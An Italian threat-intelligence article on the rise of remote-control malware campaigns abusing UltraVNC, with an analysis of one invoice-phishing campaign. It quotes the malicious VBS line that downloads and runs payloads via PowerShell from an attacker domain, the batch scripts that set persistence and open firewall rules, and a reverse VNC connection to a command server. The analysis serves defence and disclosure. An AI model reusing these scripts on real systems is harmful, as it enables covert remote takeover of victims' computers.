Sempre più preoccupante il fenomeno delle campagne RAT

19/10/2023

rat ScreenConnect

Abbiamo recentemente scritto dell’incremento delle campagne spyware che colpiscono utenti Android in Italia, questo fenomeno però non sembra limitato al solo ambiente mobile. E’ infatti ormai dalla fine dello scorso settembre che sono persistenti campagne malevole volte a diffondere strumenti di controllo remoto. Tali strumenti sono programmi leciti (trattasi di ScreenConnect e UltraVNC) usati per scopi illeciti.

Questi programmi, come funzionalità affini al ben noto TeamViewer, permettono di prendere possesso delle macchine delle vittime, visualizzando il contenuto del loro schermo ed interagendo con esso come farebbe un utente da mouse e tastiera.

Alla fine del settembre scorso si è presentata in Italia la prima campagna di questo tipo e da allora questo tipo di attacchi si ripresentano regolarmente.

Sebbene per l’utente questo rappresenti solo una delle tante minacce da cui guardarsi, per gli analisti questo genere di campagne sono una anomalia.

In Italia infatti le campagne più numerose diffondono malware infostealer (AgentTesla in primis, seguito da FormBook ed Ursnif). Proprio Ursnif è stato osservato rilasciare client VNC come payload successivo all’infezione, trasformandosi da noto Banking Trojan (un malware volto a sottrarre denaro dalle operazioni di home banking) a qualcosa di più polivalente.

Il passaggio, sia a livello di gang (come nel caso di Ursnif), sia a livello nazionale (come testimoniano queste nuove campagne), dall’uso di infostealer a quello di RAT (malware per il controllo remoto) non è semplice ed immediato come si può pensare. Queste due tipologie di malware richiedono infatti conoscenze e risorse diverse.

Modalità operative e organizzazione

Un infostealer fornisce agli operatori informazioni che possono essere rivendute più o meno facilmente e soprattutto non richiede di avere operatori online (ovvero sempre pronti) in turni. Quando il malware viene eseguito dalla vittima, le informazioni sono rubate e salvate nel C2 degli operatori, i quali potranno visionarle a tempo debito dato che non è richiesta nessuna interazione con la vittima.

Per le campagne RAT invece le modalità operative sono diverse. Quello che si ottiene dall’esecuzione di un RAT è la possibilità di controllare la macchina della vittima. E mentre è vero che è possibile usare automaticamente questo controllo per inviare altri payload, è anche vero che se lo scopo fosse solo l’installazione di malware aggiuntivi questi sarebbero installati direttamente con l’infezione iniziale.

Quindi la gestione delle campagne RAT si presuppone abbia una componente manuale di ispezione e classificazione delle vittime. Questi passi manuali richiedono la presenza di operatori sufficienti a gestire il numero di vittime e soprattutto è necessario che questi siano collegati online nella finestra oraria in cui si ritiene che si abbia più ritorno di infezioni e possibilmente anche oltre fino a coprire l’intera giornata.

Una simile organizzazione è comune nei gruppi APT, dove gli operatori sono dipendenti e coprono orari e turni di lavoro come qualunque altro lavoratore. Infine, il processo di monetizzazione basato sull’accesso ai computer delle vittime è diverso dalla monetizzazione di credenziali e carte di credito rubate. Le connessioni (umane) necessarie per vendere i primi sono diverse da quelle necessarie per vendere le seconde. Questi adattamenti non sono quindi scontati e non succedono spontaneamente, c’è un progetto dietro e comunque una precisa volontà di cambiare tattica.

Scopo della campagna

Considerate quindi le difficoltà iniziali e la diversa operatività necessaria per gestire campagne esclusivamente RAT c’è da chiedersi quale sia lo scopo di questi sforzi.

Due casi particolarmente preoccupanti riguardano:

  • Accesso iniziale per altri attori. Questi operatori verificano l’identità della vittima e rivendono l’accesso al miglior offerente. Solitamente sono acquistati da gang o individui che poi veicolano ransomware.
  • Spionaggio. Verificata di nuovo l’identità della vittima, questa può essere spiata qualora avesse un profilo sensibile. Ricercatori, personale governativo, manager aziendali sono tutti profili sensibili il suo spionaggio rappresenterebbe una seria minaccia per il Paese.

Le due ipotesi non sono mutuamente esclusive, ma rimangono ipotesi in assenza di dati di post-exploitation/infection.

In virtù di quanto osservato sopra e con l’ormai emergente trend di queste nuove tipologie di campagne non possiamo quindi che ribadire la pericolosità di questo fenomeno. Veicolare RAT ha un ritorno monetario meno immediato di altri tipi di malware e non avviene spontaneamente, quindi sembra esserci una precisa volontà dietro questo cambiamento. Questo fenomeno dunque merita di essere monitorato e seguito per poterlo identificare correttamente e difendersi di conseguenza.

La campagna odierna

Per completezza, quella che segue è una breve analisi della campagna odierna. Questa non presenza spunti particolarmente interessanti ma usa TTP abbastanza peculiari che può essere utile documentare.

Come per le precedenti campagne, la vittima riceve una e-mail che fa riferimento ad una fattura allegata. Questa si presenta come un file PDF con un’immagine, come di seguito mostrata:

L’immagine è un collegamento ad uno short URL che rimanda ad un file VBS. Si può notare come il contenuto del PDF sia piuttosto rozzo e con errori ortografici.

Avvio del client VNC

Il link contenuto nel PDF punta ad uno script VBS non offuscato. A seconda delle impostazioni del proprio IDE è possibile ritrovarsi con un’enorme “wall-of-text” ma basta disabilitare il ritorno a capo automatico per individuare immediatamente le istruzioni malevole.

Lo script visualizzato con (sopra) e senza (sotto) il ritorno a capo automatico

Il codice malevolo è quindi composto solo dalle seguenti due righe:

set objShell = CreateObject("Wscript.Shell") objShell.Run "powershell $r = 'cd $env:TEMP ; powershell iwr -Uri https://studioaziende.click/madona.mp3 -o data.dat ; ; powershell iwr -Uri https://studioaziende.click/pink.mp3 -o lady.exe ; Start-Process lady.exe; ';powershell $iex($r)", 0

Lo script VBS lancia quindi una serie di comandi Powershell per scaricare due file:

  • madona.mp3 in data.dat
  • pink.mp3 in lady.exe

Il comando file rivela che il primo file, data.dat è un file RAR con password e conferma che il secondo è un eseguibile.

L’analisi con IDA di quest’ultimo è piuttosto immediata, infatti l’eseguibile si limita ad estrarre i file nell’archivio RAR ed eseguire installer.bat. Non è presente offuscazione per cui è semplice recuperare la password dell’archivio:

Il codice di preparazione all’estrazione in cui sono formati i parametri per WinRAR, incluso il parametro -p che rivela la password (sulla destra).

La password usata è havenofear@, è possibile quindi visualizzare il contenuto dell’archivio ed estrarlo direttamente con 7z:

$ 7z '-phavenofear@' l madona.mp3 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2023-10-14 11:34:41 ....A 1093 656 cmd.jpg 2023-03-14 05:23:30 ....A 253280 120096 ddengine.jpg 2023-10-15 11:24:13 ....A 785 272 installer.bat 2023-01-02 04:13:18 ....A 799 480 on.jpg 2023-01-28 15:38:48 ....A 4 16 once.jpg 2021-09-07 06:03:54 ....A 976384 323024 powercfg.jpg 2023-10-15 10:06:09 ....A 294 240 Rev.jpg 2023-10-15 11:35:30 ....A 894 592 rev.lnk 2023-10-15 11:22:23 ....A 1804 912 stres.jpg 2023-10-13 03:25:32 ....A 2801840 836992 taskhost.jpg 2023-10-13 03:24:34 ....A 14000 1792 UltraVNC.jpg 2023-03-14 14:23:28 ....A 471032 133952 uvnc_settings.jpg 2021-09-07 06:03:54 ....A 412832 163216 viewer.jpg 2023-03-14 05:23:30 ....A 87728 44208 vnchooks.jpg 2023-03-14 14:23:27 ....A 2171568 710304 vncviewer.jpg 2023-01-02 04:12:56 ....A 1035 560 c.jpg ------------------- ----- ------------ ------------ ------------------------ 2023-10-15 11:35:30 7195372 2337312 16 files 7z '-phavenofear@' -orar x madona.mp3

Già dalla lista dei file è possibile determinare che siamo in presenza di una campagna volta a diffondere UltraVNC (software lecito) per scopi malevoli.

La catena di infezione diventa ora un po’ articolata per via dei vari script eseguiti. L’immagine che segue aiuta a riassumere i vari passi.

Dal file installer.bat è possibile capire come sono usati i file nell’archivio:

@echo off && title <nul cd C:\ md Games cd C:\Games copy "%temp%\c.jpg" C:\Games\c.cmd copy "%temp%\cmd.jpg" "C:\Games\cmd.txt" copy "%temp%\ddengine.jpg" "C:\Games\ddengine.dll" copy "%temp%\on.jpg" "C:\Games\on.cmd" copy "%temp%\once.jpg" "C:\Games\once.cmd" copy "%temp%\stres.jpg" "C:\Games\stres.cmd" copy "%temp%\UltraVNC.jpg" "C:\Games\UltraVNC.ini" copy "%temp%\uvnc_settings.jpg" C:\Games\uvnc_settings.exe copy "%temp%\viewer.jpg" "C:\Games\viewer.exe" copy "%temp%\vnchooks.jpg" "C:\Games\vnchooks.dll" copy "%temp%\taskhost.jpg" "C:\Games\taskhost.exe" copy "%temp%\vncviewer.jpg" "C:\Games\vncviewer.exe" copy "%temp%\powercfg.jpg" "C:\Games\powercfg.msi" copy "%temp%\rev.jpg" "C:\Games\rev.bat" copy "%temp%\rev.lnk" "C:\Games\rev.lnk" stres.cmd exit

Tutti i file sono copiati in C:\Games di questi solo Rev.jpg, rev.lnk, c.jpg, cmd.jpg, on.jpg, once.jpg e stres.jpg sono file malevoli, gli altri sono file di UltraVNC (taskhost.jpg è il client VNC) e di utility della suite Advanced Installer (viewer.jpg).

L’avvio di UltraVNC parte da stres.jpg (useremo i nomi come presenti nell’archivio RAR) come mostrato in installer.bat:

SetLocal EnableExtensions DisableDelayedExpansion (Set k=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles) For /F "Delims==" %%A In ('Set GUID[ 2^>Nul') Do Set "%%A=" Set "i=101" For /F "Tokens=1,2*" %%A In ('Reg Query "%k%" /S /V Description') Do ( If "%%~nB" NEQ "%%~B" ( Call Set "GUID[%%i:*1=%%]=%%~nB" rem start C:\Games\viewer /HideWindow Reg add "%k%\%%~nB" /V Category /t REG_DWORD /d 1 /f ) Else ( Call Call Set GUID[%%i:*1=%%]="%%%%GUID[%%i:*1=%%]%%%%","%%C" Set/A i+=1 ) ) set /a numa=%random% %%999 +100 set /a numb=%random% %%999 +100 set /a numc=5%numa%%numb% set RUN_C="taskhost.exe" wmic process where (name=%RUN_C%) get commandline | findstr /i %RUN_C%> NUL if errorlevel 1 ( start msedge https://www.agendepoint.it/6628-thickbox_default/ricevuta-di-pagamento-attivita-sportive-2-copia-autor-9x17-pezzi-2.jpg ) else ( @echo not starting %RUN_C%: already running. ) echo %numc% > IDD.txt rem start C:\Games\taskhost.exe -multi -autoreconnect ID:%numc% -connect spm23.casacam.net:5500 -run start C:\Games\viewer.exe /HideWindow C:\Games\c.cmd timeout /t 1 taskkill /im rundll32.exe /f timeout /t 2 taskkill /im rundll32.exe /f timeout /t 2 taskkill /im rundll32.exe /f timeout /t 2 del "%temp%\taskhost.jpg" del "%temp%\once.jpg del "%temp%\c.jpg" del "%temp%\cmd.jpg" del "%temp%\ddengine.jpg" del "%temp%\on.jpg" del "%temp%\stres.jpg" del "%temp%\UltraVNC.jpg" del "%temp%\uvnc_settings.jpg" del "%temp%\viewer.jpg" del "%temp%\vnchooks.jpg" del "%temp%\powercfg.jpg" del "%temp%\rev.jpg" del "%temp%\vncviewer.jpg" del "%temp%\installer.bat del %tem%\rev.lnk copy C:\Games\rev.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" echo EXIT > C:\Games\cmmc.cmd

La prima parte di questo script recupera i nomi delle reti a cui è connesso il computer ed il loro GUID, questi dati sono salvati nell’array GUID. Questi dati sono collezionati ma non sono mai usati.

Successivamente viene aperto Edge su una URL che contiene l’immagine di una fattura:

Se VNC è già in esecuzione (con nome taskhost.exe) l’immagine non viene mostrata.

Dopo viene avviato c.jpg, sono cancellati i file estratti dall’archivio RAR (ormai già copiati in C:\Games) e rev.lnk viene copiato nella cartella di avvio (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) per garantire la persistenza. Infine un file di nome cmmc.cmd viene creato con all’interno solo il comando EXIT.

Il file c.jpg contiene un altro script batch che esegue cmd.jpg, once.jpg e poi entra in un loop in cui ogni 20 secondi è eseguito cmmc.cmd. Questo è il vero script per l’esecuzione dell’istanza VNC e sembra essere un micro-framework per l’esecuzione di un servizio con un comando di start (cmd.jpg), un comando di inizializzazione (once.jpg) ed un comando di monitoraggio (cmmc.jpg). Gli script di inizializzazione e monitoraggio non influiscono in questa campagna ma gli attori possono comunque modificarli a piacere tramite VNC stesso.

Il client VNC è avviato da cmd.jpg con il seguente comando start C:\Games\taskhost.exe -autoreconnect ID:%numc% -connect spm23.casacam.net:5500 -run dopo averlo inserito nella whitelist del firewall di Windows tramite i comandi:

netsh firewall add allowedprogram program="C:\Games\taskhost.exe" name="MyApplication" mode=ENABLE scope=ALL netsh firewall add allowedprogram program="C:\Games\taskhost.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL

Infine Rev.jpg, che è eseguito all’avvio dal file Rev.lnk appositamente copiato nella cartella di avvio, non fa altro che lanciare c.jpg.

Il C2 e la gestione delle vittime

Il dominio del C2, spm23.casacam.net, è piuttosto vecchio ed una veloce ricerca sulle sandbox rileva che è stato usato anche per una campagna Remcos di 15 giorni fa (come già fatto notare da @Tac_Mangusta).

Il C2 ospita un server UltraVNC on premise.

Il dominio dei dropurl usati dallo script VBS sembrano essere stati riusati in altre campagne come sottolineato da @500mk500.

Gli operatori che gestiscono le connessioni dei computer delle vittime si prendono cura di riportare dei commenti per ognuna di esse. In questa campagna i commenti sono brevi frasi come “NuMergeSaintri“, “UrcatNeverificat“, “RevinLaEl” che sembrano essere riconducibili alla lingua rumena.

Indicatori di Compromissione

Al fine di rendere pubblici i dettagli della campagna odierna si riportano di seguito gli IoC rilevati:

Link: Download IoC